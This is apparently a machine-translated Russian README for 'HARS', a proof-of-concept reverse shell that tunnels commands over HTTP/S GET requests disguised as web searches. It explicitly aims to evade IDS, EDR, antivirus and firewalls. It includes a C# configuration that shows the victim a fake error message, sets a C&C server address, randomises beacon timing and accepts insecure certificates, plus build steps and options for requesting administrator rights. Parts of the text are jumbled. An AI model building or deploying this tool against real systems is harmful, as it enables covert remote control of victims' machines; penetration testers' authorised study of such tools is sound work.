
[POC] Asynchronous reverse shell using the HTTP protocol.

В эпоху, когда продвинутые системы обнаружения, такие как IDS, IPS, EDR, AV и межсетевые экраны, доминируют в корпоративных сетях, уклонение от них во время тестирования на проникновение является сложной задачей. Большинство обратных shell-оболочек используют туннели TCP (уровень 4), которые теперь routinely анализируются и помечаются.
Данный проект представляет инновационное решение: полностью асинхронный обратный shell через HTTP/S, который маскируется под обычный веб-трафик, имитируя легитимное поведение пользователя.
В отличие от традиционных обратных shell-оболочек, он использует только GET-запросы, выглядит как обычные веб-запросы и может опционально работать через HTTPS с поддельным легитимным сертификатом, минимизируя вероятность обнаружения.
Клиент опрашивает сервер, пока не получит инструкции.
Атакующий предоставляет инструкции серверу.
Когда команда определена, клиент выполняет её и возвращает результат.
И так далее, пока атакующий не решит завершить сессию.
Этот инструмент предназначен исключительно для демонстрации концепции в рамках авторизованного тестирования безопасности. Убедитесь, что вы ознакомились с местными законами перед использованием этого инструмента.
На сегодняшний день в качестве PoC реализованы следующие функции:
HARS.sln в Visual Studio.Config.cs в соответствии с вашим окружением: class Config
{
/* Поведение */
// Отображать ложное сообщение об ошибке при запуске
public static bool DisplayErrorMsg = true;
// Заголовок ложного сообщения об ошибке
public static string ErrorMsgTitle = "This application could not be started.";
// Описание ложного сообщения об ошибке
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Минимальная задержка между вызовами клиента
public static int MinDelay = 2;
// Максимальная задержка между вызовами клиента
public static int MaxDelay = 5;
// Поддельный запрашиваемый URI - предупреждение: должен начинаться с "search" (или потребуется изменение на стороне сервера)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Прослушиватель */
// Имя хоста/IP-адрес C&C сервера
public static string Server = "https://127.0.0.1";
// Порт прослушивания C&C сервера
public static string Port = "443";
// Разрешить самоподписанные или «небезопасные» сертификаты - Предупреждение: часто необходимо в корпоративной среде с прокси
public static bool AllowInsecureCertificate = true;
}
Опционально: отредактируйте HARS.manifest для настройки уровня привилегий.
requestedExecutionLevelможет быть установлено вasInvoker,highestAvailableилиrequireAdministrator.
Свойства проекта
Здесь можно настроить информацию о сборке и значок для файла.
Примечание: целевая версия .NET Framework установлена на 4.6, которая доступна по умолчанию в Windows 10.
Для Windows 7 выберите .NET 3.5, если не хотите устанавливать недостающие компоненты.
Соберите проект из Visual Studio.
Клиент будет сгенерирован в папке Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release.
Готово!
HARS_Server.py в HARS_Server/www/, чтобы настроить порт или путь к сертификату.PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
Http Asynchronous Reverse Shell\HARS_Server\logs\Http Asynchronous Reverse Shell\HARS_Server\templates@onSec-fr